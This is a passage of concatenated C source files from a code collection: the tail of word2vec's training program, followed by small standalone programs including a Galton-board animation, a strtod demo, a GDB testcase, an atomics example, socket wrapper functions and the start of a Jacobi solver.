for (a = 0; a < strlen(word); a++) hash = hash * 257 + word[a];
hash = hash % vocab_hash_size;
return hash;
}
// Returns position of a word in the vocabulary; if the word is not found, returns -1
int SearchVocab(char *word) {
unsigned int hash = GetWordHash(word);
while (1) {
if (vocab_hash[hash] == -1) return -1;
if (!strcmp(word, vocab[vocab_hash[hash]].word)) return vocab_hash[hash];
hash = (hash + 1) % vocab_hash_size;
}
return -1;
}
// Reads a word and returns its index in the vocabulary
int ReadWordIndex(FILE *fin) {
char word[MAX_STRING];
ReadWord(word, fin);
if (feof(fin)) return -1;
return SearchVocab(word);
}
// Adds a word to the vocabulary
int AddWordToVocab(char *word) {
unsigned int hash, length = strlen(word) + 1;
if (length > MAX_STRING) length = MAX_STRING;
vocab[vocab_size].word = (char *)calloc(length, sizeof(char));
strcpy(vocab[vocab_size].word, word);
vocab[vocab_size].cn = 0;
vocab_size++;
// Reallocate memory if needed
if (vocab_size + 2 >= vocab_max_size) {
vocab_max_size += 1000;
vocab = (struct vocab_word *)realloc(vocab, vocab_max_size * sizeof(struct vocab_word));
}
hash = GetWordHash(word);
while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;
vocab_hash[hash] = vocab_size - 1;
return vocab_size - 1;
}
// Used later for sorting by word counts
int VocabCompare(const void *a, const void *b) {
return ((struct vocab_word *)b)->cn - ((struct vocab_word *)a)->cn;
}
// Sorts the vocabulary by frequency using word counts
void SortVocab() {
int a, size;
unsigned int hash;
// Sort the vocabulary and keep </s> at the first position
qsort(&vocab[1], vocab_size - 1, sizeof(struct vocab_word), VocabCompare);
for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;
size = vocab_size;
train_words = 0;
for (a = 0; a < size; a++) {
// Words occuring less than min_count times will be discarded from the vocab
if ((vocab[a].cn < min_count) && (a != 0)) {
vocab_size--;
free(vocab[a].word);
} else {
// Hash will be re-computed, as after the sorting it is not actual
hash=GetWordHash(vocab[a].word);
while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;
vocab_hash[hash] = a;
train_words += vocab[a].cn;
}
}
vocab = (struct vocab_word *)realloc(vocab, (vocab_size + 1) * sizeof(struct vocab_word));
// Allocate memory for the binary tree construction
for (a = 0; a < vocab_size; a++) {
vocab[a].code = (char *)calloc(MAX_CODE_LENGTH, sizeof(char));
vocab[a].point = (int *)calloc(MAX_CODE_LENGTH, sizeof(int));
}
}
// Reduces the vocabulary by removing infrequent tokens
void ReduceVocab() {
int a, b = 0;
unsigned int hash;
for (a = 0; a < vocab_size; a++) if (vocab[a].cn > min_reduce) {
vocab[b].cn = vocab[a].cn;
vocab[b].word = vocab[a].word;
b++;
} else free(vocab[a].word);
vocab_size = b;
for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;
for (a = 0; a < vocab_size; a++) {
// Hash will be re-computed, as it is not actual
hash = GetWordHash(vocab[a].word);
while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;
vocab_hash[hash] = a;
}
fflush(stdout);
min_reduce++;
}
// Create binary Huffman tree using the word counts
// Frequent words will have short uniqe binary codes
void CreateBinaryTree() {
long long a, b, i, min1i, min2i, pos1, pos2, point[MAX_CODE_LENGTH];
char code[MAX_CODE_LENGTH];
long long *count = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));
long long *binary = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));
long long *parent_node = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));
for (a = 0; a < vocab_size; a++) count[a] = vocab[a].cn;
for (a = vocab_size; a < vocab_size * 2; a++) count[a] = 1e15;
pos1 = vocab_size - 1;
pos2 = vocab_size;
// Following algorithm constructs the Huffman tree by adding one node at a time
for (a = 0; a < vocab_size - 1; a++) {
// First, find two smallest nodes 'min1, min2'
if (pos1 >= 0) {
if (count[pos1] < count[pos2]) {
min1i = pos1;
pos1--;
} else {
min1i = pos2;
pos2++;
}
} else {
min1i = pos2;
pos2++;
}
if (pos1 >= 0) {
if (count[pos1] < count[pos2]) {
min2i = pos1;
pos1--;
} else {
min2i = pos2;
pos2++;
}
} else {
min2i = pos2;
pos2++;
}
count[vocab_size + a] = count[min1i] + count[min2i];
parent_node[min1i] = vocab_size + a;
parent_node[min2i] = vocab_size + a;
binary[min2i] = 1;
}
// Now assign binary code to each vocabulary word
for (a = 0; a < vocab_size; a++) {
b = a;
i = 0;
while (1) {
code[i] = binary[b];
point[i] = b;
i++;
b = parent_node[b];
if (b == vocab_size * 2 - 2) break;
}
vocab[a].codelen = i;
vocab[a].point[0] = vocab_size - 2;
for (b = 0; b < i; b++) {
vocab[a].code[i - b - 1] = code[b];
vocab[a].point[i - b] = point[b] - vocab_size;
}
}
free(count);
free(binary);
free(parent_node);
}
void LearnVocabFromTrainFile() {
char word[MAX_STRING];
FILE *fin;
long long a, i;
for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;
fin = fopen(train_file, "rb");
if (fin == NULL) {
printf("ERROR: training data file not found!\n");
exit(1);
}
vocab_size = 0;
AddWordToVocab((char *)"</s>");
while (1) {
ReadWord(word, fin);
if (feof(fin)) break;
train_words++;
if ((debug_mode > 1) && (train_words % 100000 == 0)) {
printf("%lldK%c", train_words / 1000, 13);
fflush(stdout);
}
i = SearchVocab(word);
if (i == -1) {
a = AddWordToVocab(word);
vocab[a].cn = 1;
} else vocab[i].cn++;
if (vocab_size > vocab_hash_size * 0.7) ReduceVocab();
}
SortVocab();
if (debug_mode > 0) {
printf("Vocab size: %lld\n", vocab_size);
printf("Words in train file: %lld\n", train_words);
}
file_size = ftell(fin);
fclose(fin);
}
void SaveVocab() {
long long i;
FILE *fo = fopen(save_vocab_file, "wb");
for (i = 0; i < vocab_size; i++) fprintf(fo, "%s %lld\n", vocab[i].word, vocab[i].cn);
fclose(fo);
}
void ReadVocab() {
long long a, i = 0;
char c;
char word[MAX_STRING];
FILE *fin = fopen(read_vocab_file, "rb");
if (fin == NULL) {
printf("Vocabulary file not found\n");
exit(1);
}
for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;
vocab_size = 0;
while (1) {
ReadWord(word, fin);
if (feof(fin)) break;
a = AddWordToVocab(word);
fscanf(fin, "%lld%c", &vocab[a].cn, &c);
i++;
}
SortVocab();
if (debug_mode > 0) {
printf("Vocab size: %lld\n", vocab_size);
printf("Words in train file: %lld\n", train_words);
}
fin = fopen(train_file, "rb");
if (fin == NULL) {
printf("ERROR: training data file not found!\n");
exit(1);
}
fseek(fin, 0, SEEK_END);
file_size = ftell(fin);
fclose(fin);
}
void InitNet() {
long long a, b;
unsigned long long next_random = 1;
a = posix_memalign((void **)&syn0, 128, (long long)vocab_size * layer1_size * sizeof(real));
if (syn0 == NULL) {printf("Memory allocation failed\n"); exit(1);}
if (hs) {
a = posix_memalign((void **)&syn1, 128, (long long)vocab_size * layer1_size * sizeof(real));
if (syn1 == NULL) {printf("Memory allocation failed\n"); exit(1);}
for (a = 0; a < vocab_size; a++) for (b = 0; b < layer1_size; b++)
syn1[a * layer1_size + b] = 0;
}
if (negative>0) {
a = posix_memalign((void **)&syn1neg, 128, (long long)vocab_size * layer1_size * sizeof(real));
if (syn1neg == NULL) {printf("Memory allocation failed\n"); exit(1);}
for (a = 0; a < vocab_size; a++) for (b = 0; b < layer1_size; b++)
syn1neg[a * layer1_size + b] = 0;
}
for (a = 0; a < vocab_size; a++) for (b = 0; b < layer1_size; b++) {
next_random = next_random * (unsigned long long)25214903917 + 11;
syn0[a * layer1_size + b] = (((next_random & 0xFFFF) / (real)65536) - 0.5) / layer1_size;
}
CreateBinaryTree();
}
void *TrainModelThread(void *id) {
long long a, b, d, cw, word, last_word, sentence_length = 0, sentence_position = 0;
long long word_count = 0, last_word_count = 0, sen[MAX_SENTENCE_LENGTH + 1];
long long l1, l2, c, target, label, local_iter = iter;
unsigned long long next_random = (long long)id;
real f, g;
clock_t now;
real *neu1 = (real *)calloc(layer1_size, sizeof(real));
real *neu1e = (real *)calloc(layer1_size, sizeof(real));
FILE *fi = fopen(train_file, "rb");
fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);
while (1) {
if (word_count - last_word_count > 10000) {
word_count_actual += word_count - last_word_count;
last_word_count = word_count;
if ((debug_mode > 1)) {
now=clock();
printf("%cAlpha: %f Progress: %.2f%% Words/thread/sec: %.2fk ", 13, alpha,
word_count_actual / (real)(iter * train_words + 1) * 100,
word_count_actual / ((real)(now - start + 1) / (real)CLOCKS_PER_SEC * 1000));
fflush(stdout);
}
alpha = starting_alpha * (1 - word_count_actual / (real)(iter * train_words + 1));
if (alpha < starting_alpha * 0.0001) alpha = starting_alpha * 0.0001;
}
if (sentence_length == 0) {
while (1) {
word = ReadWordIndex(fi);
if (feof(fi)) break;
if (word == -1) continue;
word_count++;
if (word == 0) break;
// The subsampling randomly discards frequent words while keeping the ranking same
if (sample > 0) {
real ran = (sqrt(vocab[word].cn / (sample * train_words)) + 1) * (sample * train_words) / vocab[word].cn;
next_random = next_random * (unsigned long long)25214903917 + 11;
if (ran < (next_random & 0xFFFF) / (real)65536) continue;
}
sen[sentence_length] = word;
sentence_length++;
if (sentence_length >= MAX_SENTENCE_LENGTH) break;
}
sentence_position = 0;
}
if (feof(fi) || (word_count > train_words / num_threads)) {
word_count_actual += word_count - last_word_count;
local_iter--;
if (local_iter == 0) break;
word_count = 0;
last_word_count = 0;
sentence_length = 0;
fseek(fi, file_size / (long long)num_threads * (long long)id, SEEK_SET);
continue;
}
word = sen[sentence_position];
if (word == -1) continue;
for (c = 0; c < layer1_size; c++) neu1[c] = 0;
for (c = 0; c < layer1_size; c++) neu1e[c] = 0;
next_random = next_random * (unsigned long long)25214903917 + 11;
b = next_random % window;
if (cbow) { //train the cbow architecture
// in -> hidden
cw = 0;
for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {
c = sentence_position - window + a;
if (c < 0) continue;
if (c >= sentence_length) continue;
last_word = sen[c];
if (last_word == -1) continue;
for (c = 0; c < layer1_size; c++) neu1[c] += syn0[c + last_word * layer1_size];
cw++;
}
if (cw) {
for (c = 0; c < layer1_size; c++) neu1[c] /= cw;
if (hs) for (d = 0; d < vocab[word].codelen; d++) {
f = 0;
l2 = vocab[word].point[d] * layer1_size;
// Propagate hidden -> output
for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1[c + l2];
if (f <= -MAX_EXP) continue;
else if (f >= MAX_EXP) continue;
else f = expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))];
// 'g' is the gradient multiplied by the learning rate
g = (1 - vocab[word].code[d] - f) * alpha;
// Propagate errors output -> hidden
for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1[c + l2];
// Learn weights hidden -> output
for (c = 0; c < layer1_size; c++) syn1[c + l2] += g * neu1[c];
}
// NEGATIVE SAMPLING
if (negative > 0) for (d = 0; d < negative + 1; d++) {
if (d == 0) {
target = word;
label = 1;
} else {
next_random = next_random * (unsigned long long)25214903917 + 11;
target = table[(next_random >> 16) % table_size];
if (target == 0) target = next_random % (vocab_size - 1) + 1;
if (target == word) continue;
label = 0;
}
l2 = target * layer1_size;
f = 0;
for (c = 0; c < layer1_size; c++) f += neu1[c] * syn1neg[c + l2];
if (f > MAX_EXP) g = (label - 1) * alpha;
else if (f < -MAX_EXP) g = (label - 0) * alpha;
else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;
for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];
for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * neu1[c];
}
// hidden -> in
for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {
c = sentence_position - window + a;
if (c < 0) continue;
if (c >= sentence_length) continue;
last_word = sen[c];
if (last_word == -1) continue;
for (c = 0; c < layer1_size; c++) syn0[c + last_word * layer1_size] += neu1e[c];
}
}
} else { //train skip-gram
for (a = b; a < window * 2 + 1 - b; a++) if (a != window) {
c = sentence_position - window + a;
if (c < 0) continue;
if (c >= sentence_length) continue;
last_word = sen[c];
if (last_word == -1) continue;
l1 = last_word * layer1_size;
for (c = 0; c < layer1_size; c++) neu1e[c] = 0;
// HIERARCHICAL SOFTMAX
if (hs) for (d = 0; d < vocab[word].codelen; d++) {
f = 0;
l2 = vocab[word].point[d] * layer1_size;
// Propagate hidden -> output
for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1[c + l2];
if (f <= -MAX_EXP) continue;
else if (f >= MAX_EXP) continue;
else f = expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))];
// 'g' is the gradient multiplied by the learning rate
g = (1 - vocab[word].code[d] - f) * alpha;
// Propagate errors output -> hidden
for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1[c + l2];
// Learn weights hidden -> output
for (c = 0; c < layer1_size; c++) syn1[c + l2] += g * syn0[c + l1];
}
// NEGATIVE SAMPLING
if (negative > 0) for (d = 0; d < negative + 1; d++) {
if (d == 0) {
target = word;
label = 1;
} else {
next_random = next_random * (unsigned long long)25214903917 + 11;
target = table[(next_random >> 16) % table_size];
if (target == 0) target = next_random % (vocab_size - 1) + 1;
if (target == word) continue;
label = 0;
}
l2 = target * layer1_size;
f = 0;
for (c = 0; c < layer1_size; c++) f += syn0[c + l1] * syn1neg[c + l2];
if (f > MAX_EXP) g = (label - 1) * alpha;
else if (f < -MAX_EXP) g = (label - 0) * alpha;
else g = (label - expTable[(int)((f + MAX_EXP) * (EXP_TABLE_SIZE / MAX_EXP / 2))]) * alpha;
for (c = 0; c < layer1_size; c++) neu1e[c] += g * syn1neg[c + l2];
for (c = 0; c < layer1_size; c++) syn1neg[c + l2] += g * syn0[c + l1];
}
// Learn weights input -> hidden
for (c = 0; c < layer1_size; c++) syn0[c + l1] += neu1e[c];
}
}
sentence_position++;
if (sentence_position >= sentence_length) {
sentence_length = 0;
continue;
}
}
fclose(fi);
free(neu1);
free(neu1e);
pthread_exit(NULL);
}
void TrainModel() {
long a, b, c, d;
FILE *fo;
pthread_t *pt = (pthread_t *)malloc(num_threads * sizeof(pthread_t));
printf("Starting training using file %s\n", train_file);
starting_alpha = alpha;
if (read_vocab_file[0] != 0) ReadVocab(); else LearnVocabFromTrainFile();
if (save_vocab_file[0] != 0) SaveVocab();
if (output_file[0] == 0) return;
InitNet();
if (negative > 0) InitUnigramTable();
start = clock();
for (a = 0; a < num_threads; a++) pthread_create(&pt[a], NULL, TrainModelThread, (void *)a);
for (a = 0; a < num_threads; a++) pthread_join(pt[a], NULL);
fo = fopen(output_file, "wb");
if (classes == 0) {
// Save the word vectors
fprintf(fo, "%lld %lld\n", vocab_size, layer1_size);
for (a = 0; a < vocab_size; a++) {
fprintf(fo, "%s ", vocab[a].word);
if (binary) for (b = 0; b < layer1_size; b++) fwrite(&syn0[a * layer1_size + b], sizeof(real), 1, fo);
else for (b = 0; b < layer1_size; b++) fprintf(fo, "%lf ", syn0[a * layer1_size + b]);
fprintf(fo, "\n");
}
} else {
// Run K-means on the word vectors
int clcn = classes, iter = 10, closeid;
int *centcn = (int *)malloc(classes * sizeof(int));
int *cl = (int *)calloc(vocab_size, sizeof(int));
real closev, x;
real *cent = (real *)calloc(classes * layer1_size, sizeof(real));
for (a = 0; a < vocab_size; a++) cl[a] = a % clcn;
for (a = 0; a < iter; a++) {
for (b = 0; b < clcn * layer1_size; b++) cent[b] = 0;
for (b = 0; b < clcn; b++) centcn[b] = 1;
for (c = 0; c < vocab_size; c++) {
for (d = 0; d < layer1_size; d++) cent[layer1_size * cl[c] + d] += syn0[c * layer1_size + d];
centcn[cl[c]]++;
}
for (b = 0; b < clcn; b++) {
closev = 0;
for (c = 0; c < layer1_size; c++) {
cent[layer1_size * b + c] /= centcn[b];
closev += cent[layer1_size * b + c] * cent[layer1_size * b + c];
}
closev = sqrt(closev);
for (c = 0; c < layer1_size; c++) cent[layer1_size * b + c] /= closev;
}
for (c = 0; c < vocab_size; c++) {
closev = -10;
closeid = 0;
for (d = 0; d < clcn; d++) {
x = 0;
for (b = 0; b < layer1_size; b++) x += cent[layer1_size * d + b] * syn0[c * layer1_size + b];
if (x > closev) {
closev = x;
closeid = d;
}
}
cl[c] = closeid;
}
}
// Save the K-means classes
for (a = 0; a < vocab_size; a++) fprintf(fo, "%s %d\n", vocab[a].word, cl[a]);
free(centcn);
free(cent);
free(cl);
}
fclose(fo);
}
int ArgPos(char *str, int argc, char **argv) {
int a;
for (a = 1; a < argc; a++) if (!strcmp(str, argv[a])) {
if (a == argc - 1) {
printf("Argument missing for %s\n", str);
exit(1);
}
return a;
}
return -1;
}
int main(int argc, char **argv) {
int i;
if (argc == 1) {
printf("WORD VECTOR estimation toolkit v 0.1c\n\n");
printf("Options:\n");
printf("Parameters for training:\n");
printf("\t-train <file>\n");
printf("\t\tUse text data from <file> to train the model\n");
printf("\t-output <file>\n");
printf("\t\tUse <file> to save the resulting word vectors / word clusters\n");
printf("\t-size <int>\n");
printf("\t\tSet size of word vectors; default is 100\n");
printf("\t-window <int>\n");
printf("\t\tSet max skip length between words; default is 5\n");
printf("\t-sample <float>\n");
printf("\t\tSet threshold for occurrence of words. Those that appear with higher frequency in the training data\n");
printf("\t\twill be randomly down-sampled; default is 1e-3, useful range is (0, 1e-5)\n");
printf("\t-hs <int>\n");
printf("\t\tUse Hierarchical Softmax; default is 0 (not used)\n");
printf("\t-negative <int>\n");
printf("\t\tNumber of negative examples; default is 5, common values are 3 - 10 (0 = not used)\n");
printf("\t-threads <int>\n");
printf("\t\tUse <int> threads (default 12)\n");
printf("\t-iter <int>\n");
printf("\t\tRun more training iterations (default 5)\n");
printf("\t-min-count <int>\n");
printf("\t\tThis will discard words that appear less than <int> times; default is 5\n");
printf("\t-alpha <float>\n");
printf("\t\tSet the starting learning rate; default is 0.025 for skip-gram and 0.05 for CBOW\n");
printf("\t-classes <int>\n");
printf("\t\tOutput word classes rather than word vectors; default number of classes is 0 (vectors are written)\n");
printf("\t-debug <int>\n");
printf("\t\tSet the debug mode (default = 2 = more info during training)\n");
printf("\t-binary <int>\n");
printf("\t\tSave the resulting vectors in binary moded; default is 0 (off)\n");
printf("\t-save-vocab <file>\n");
printf("\t\tThe vocabulary will be saved to <file>\n");
printf("\t-read-vocab <file>\n");
printf("\t\tThe vocabulary will be read from <file>, not constructed from the training data\n");
printf("\t-cbow <int>\n");
printf("\t\tUse the continuous bag of words model; default is 1 (use 0 for skip-gram model)\n");
printf("\nExamples:\n");
printf("./word2vec -train data.txt -output vec.txt -size 200 -window 5 -sample 1e-4 -negative 5 -hs 0 -binary 0 -cbow 1 -iter 3\n\n");
return 0;
}
output_file[0] = 0;
save_vocab_file[0] = 0;
read_vocab_file[0] = 0;
if ((i = ArgPos((char *)"-size", argc, argv)) > 0) layer1_size = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-train", argc, argv)) > 0) strcpy(train_file, argv[i + 1]);
if ((i = ArgPos((char *)"-save-vocab", argc, argv)) > 0) strcpy(save_vocab_file, argv[i + 1]);
if ((i = ArgPos((char *)"-read-vocab", argc, argv)) > 0) strcpy(read_vocab_file, argv[i + 1]);
if ((i = ArgPos((char *)"-debug", argc, argv)) > 0) debug_mode = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-binary", argc, argv)) > 0) binary = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-cbow", argc, argv)) > 0) cbow = atoi(argv[i + 1]);
if (cbow) alpha = 0.05;
if ((i = ArgPos((char *)"-alpha", argc, argv)) > 0) alpha = atof(argv[i + 1]);
if ((i = ArgPos((char *)"-output", argc, argv)) > 0) strcpy(output_file, argv[i + 1]);
if ((i = ArgPos((char *)"-window", argc, argv)) > 0) window = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-sample", argc, argv)) > 0) sample = atof(argv[i + 1]);
if ((i = ArgPos((char *)"-hs", argc, argv)) > 0) hs = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-negative", argc, argv)) > 0) negative = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-threads", argc, argv)) > 0) num_threads = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-iter", argc, argv)) > 0) iter = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-min-count", argc, argv)) > 0) min_count = atoi(argv[i + 1]);
if ((i = ArgPos((char *)"-classes", argc, argv)) > 0) classes = atoi(argv[i + 1]);
vocab = (struct vocab_word *)calloc(vocab_max_size, sizeof(struct vocab_word));
vocab_hash = (int *)calloc(vocab_hash_size, sizeof(int));
expTable = (real *)malloc((EXP_TABLE_SIZE + 1) * sizeof(real));
for (i = 0; i < EXP_TABLE_SIZE; i++) {
expTable[i] = exp((i / (real)EXP_TABLE_SIZE * 2 - 1) * MAX_EXP); // Precompute the exp() table
expTable[i] = expTable[i] / (expTable[i] + 1); // Precompute f(x) = x / (x + 1)
}
TrainModel();
return 0;
}
|
the_stack_data/242329696.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BALLS 1024
int n, w, h = 45, *x, *y, cnt = 0;
char *b;
#define B(y, x) b[(y)*w + x]
#define C(y, x) ' ' == b[(y)*w + x]
#define V(i) B(y[i], x[i])
inline int rnd(int a) { return (rand()/(RAND_MAX/a))%a; }
void show_board()
{
int i, j;
for (puts("\033[H"), i = 0; i < h; i++, putchar('\n'))
for (j = 0; j < w; j++, putchar(' '))
printf(B(i, j) == '*' ?
C(i - 1, j) ? "\033[32m%c\033[m" :
"\033[31m%c\033[m" : "%c", B(i, j));
}
void init()
{
int i, j;
puts("\033[H\033[J");
b = malloc(w * h);
memset(b, ' ', w * h);
x = malloc(sizeof(int) * BALLS * 2);
y = x + BALLS;
for (i = 0; i < n; i++)
for (j = -i; j <= i; j += 2)
B(2 * i+2, j + w/2) = '*';
srand(time(0));
}
void move(int idx)
{
int xx = x[idx], yy = y[idx], c, kill = 0, sl = 3, o = 0;
if (yy < 0) return;
if (yy == h - 1) { y[idx] = -1; return; }
switch(c = B(yy + 1, xx)) {
case ' ': yy++; break;
case '*': sl = 1;
default: if (xx < w - 1 && C(yy, xx + 1) && C(yy + 1, xx + 1))
if (!rnd(sl++)) o = 1;
if (xx && C(yy, xx - 1) && C(yy + 1, xx - 1))
if (!rnd(sl++)) o = -1;
if (!o) kill = 1;
xx += o;
}
c = V(idx); V(idx) = ' ';
idx[y] = yy, idx[x] = xx;
B(yy, xx) = c;
if (kill) idx[y] = -1;
}
int run(void)
{
static int step = 0;
int i;
for (i = 0; i < cnt; i++) move(i);
if (2 == ++step && cnt < BALLS) {
step = 0;
x[cnt] = w/2;
y[cnt] = 0;
if (V(cnt) != ' ') return 0;
V(cnt) = rnd(80) + 43;
cnt++;
}
return 1;
}
int main(int c, char **v)
{
if (c < 2 || (n = atoi(v[1])) <= 3) n = 5;
if (n >= 20) n = 20;
w = n * 2 + 1;
init();
do { show_board(), usleep(60000); } while (run());
return 0;
}
|
the_stack_data/247019144.c | // strtod_ex.c : strtod() example
// -------------------------------------------------------------
#include <stdlib.h> // double strtod( const char * restrict s,
// char ** restrict endptr );
#include <stdio.h>
int main()
{
char in[1024], *this = in, *next = in;
double val;
puts( "Enter some floating-point numbers, please:" );
scanf( "%[^\n]", in );
puts( "Here are the values you entered:" );
while ( 1 )
{
val = strtod( this, &next );
if ( next == this ) // Means no conversion was possible.
break ;
printf( "\t%g\n", val );
this = next; // Try again with the rest of the input string.
}
puts( "Done." );
return 0;
}
|
the_stack_data/30073.c | /*
* Copyright (c) 2021~2025 linus ben <[email protected]>
* File Name: main.c
* Author: linus ben
* Date: 2021-09-15
* Description: test function
*/
#include <stdio.h>
#include "stdint.h"
uint32_t main(int argc, char *argv)
{
printf("\r\n hello world!");
return 0;
}
|
the_stack_data/17735.c | #include <stdio.h>
#include <math.h>
int main () {
int a,b;
scanf("%d\t%d",&a, &b);
if (a>b) {
printf("%d\n", a);
}
else {
printf("%d\n", b);
}
if (a<b) {
printf("%d\n", a);
}
else {
printf("%d\n", b);
}
if (a==b) {
printf("iguais\n");
}
else {
printf("diferentes\n");
}
return 0;
} |
the_stack_data/32951031.c | int cmpval(const void *a, const void *b) { return *(int *)a - *(int *)b; }
int *findDuplicates(int *nums, int numsSize, int *returnSize)
{
int i;
qsort(nums, numsSize, sizeof(int), cmpval);
int *retArr = malloc(numsSize * sizeof(int));
*returnSize = 0;
for (i = 0; i < numsSize - 1;)
{
if (nums[i] == nums[i + 1])
{
retArr[*returnSize] = nums[i];
*returnSize = *returnSize + 1;
i = i + 2;
}
else
{
i = i + 1;
}
}
return retArr;
}
|
the_stack_data/125141861.c | /* This testcase is part of GDB, the GNU debugger.
Copyright 2008-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#define _GNU_SOURCE
#include <time.h>
#include <sys/syscall.h>
#include <unistd.h>
void
marker1 (void)
{
}
void
marker2 (void)
{
}
time_t time_global = -1;
int
main (void)
{
marker1 ();
syscall (SYS_time, &time_global);
marker2 ();
return 0;
}
|
the_stack_data/95450642.c | // %%cpp atomic_example1.c
// %run gcc -fsanitize=thread atomic_example1.c -lpthread -o atomic_example1.exe
// %run ./atomic_example1.exe > out.txt
// %run cat out.txt
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
// _Atomic навешивается на `int`
_Atomic int x;
int main(int argc, char* argv[]) {
atomic_store(&x, 1);
printf("%d\n", atomic_load(&x));
int i = 2;
// изменение не пройдет, так как x = 1, а i = 2, i станет равным x
atomic_compare_exchange_strong(&x, &i, 3);
printf("%d\n", atomic_load(&x));
// тут пройдет
atomic_compare_exchange_strong(&x, &i, 3);
printf("%d\n", atomic_load(&x));
return 0;
}
|
the_stack_data/82949485.c | /* { dg-do compile } */
/* { dg-options "-O3" } */
int
t6(int len, void * dummy, unsigned short * __restrict x)
{
len = len & ~31;
unsigned int result = 0;
__asm volatile ("");
for (int i = 0; i < len; i++)
result += x[i];
return result;
}
/* { dg-final { scan-assembler "uaddw" } } */
/* { dg-final { scan-assembler "uaddw2" } } */
|
the_stack_data/532331.c | /*
* wrap.c
*
* Created on: 2011-9-20
* Author: qcg
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <unistd.h>
void perr_exit(const char *s) {
perror(s);
exit(1);
}
int Accept(int fd, struct sockaddr *sa, socklen_t *salenptr) {
int n;
again: if ((n = accept(fd, sa, salenptr)) < 0) {
if ((errno == ECONNABORTED) || (errno == EINTR))
goto again;
else
perr_exit("accept error");
}
return n;
}
void Bind(int fd, const struct sockaddr *sa, socklen_t salen) {
if (bind(fd, sa, salen) < 0)
perr_exit("bind error");
}
void Connect(int fd, const struct sockaddr *sa, socklen_t salen) {
if (connect(fd, sa, salen) < 0)
perr_exit("connect error");
}
void Listen(int fd, int backlog) {
if (listen(fd, backlog) < 0)
perr_exit("listen error");
}
int Socket(int family, int type, int protocol) {
int n;
if ((n = socket(family, type, protocol)) < 0)
perr_exit("socket error");
return n;
}
ssize_t Read(int fd, void *ptr, size_t nbytes) {
ssize_t n;
again: if ((n = read(fd, ptr, nbytes)) == -1) {
if (errno == EINTR
)
goto again;
else
return -1;
}
return n;
}
ssize_t Write(int fd, const void *ptr, size_t nbytes) {
ssize_t n;
again: if ((n = write(fd, ptr, nbytes)) == -1) {
if (errno == EINTR
)
goto again;
else
return -1;
}
return n;
}
ssize_t Readn(int fd, void *vptr, size_t n) {
size_t nleft;
ssize_t nread;
char *ptr;
ptr = vptr;
nleft = n;
while (nleft > 0) {
if ((nread = read(fd, ptr, nleft)) < 0) {
if (errno == EINTR
)
nread = 0;
else
return -1;
} else if (nread == 0)
break;
nleft -= nread;
ptr += nread;
}
return n - nleft;
}
ssize_t Writen(int fd, const void *vptr, size_t n) {
size_t nleft;
ssize_t nwritten;
const char *ptr;
ptr = vptr;
nleft = n;
while (nleft > 0) {
if ((nwritten = write(fd, ptr, nleft)) <= 0) {
if (nwritten < 0 && errno == EINTR
)
nwritten = 0;
else
return -1;
}
nleft -= nwritten;
ptr += nwritten;
}
return n;
}
static ssize_t my_read(int fd, char *ptr) {
static int read_cnt;
static char *read_ptr;
static char read_buf[100];
if (read_cnt <= 0) {
again: if ((read_cnt = read(fd, read_buf, sizeof(read_buf)))
< 0) {
if (errno == EINTR
)
goto again;
return -1;
} else if (read_cnt == 0)
return 0;
read_ptr = read_buf;
}
read_cnt--;
*ptr = *read_ptr++;
return 1;
}
ssize_t Readline(int fd, void *vptr, size_t maxlen) {
ssize_t n, rc;
char c, *ptr;
ptr = vptr;
for (n = 1; n < maxlen; n++) {
if ((rc = my_read(fd, &c)) == 1) {
*ptr++ = c;
if (c == '\n')
break;
} else if (rc == 0) {
*ptr = 0;
return n - 1;
} else
return -1;
}
*ptr = 0;
return n;
}
void Close(int fd) {
if (close(fd) == -1)
perr_exit("close error");
}
|
the_stack_data/12638052.c | #include <stdlib.h>
int
main(void)
{
return (EXIT_FAILURE);
}
|
the_stack_data/29825330.c | #include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define MAX_ITER 100
#define MAX 100 //maximum value of the matrix element
#define TOL 0.000001
// Generate a random float number with the maximum value of max
float rand_float(int max){
return ((float)rand()/(float)(RAND_MAX)) * max;
}
// Allocate 2D matrix
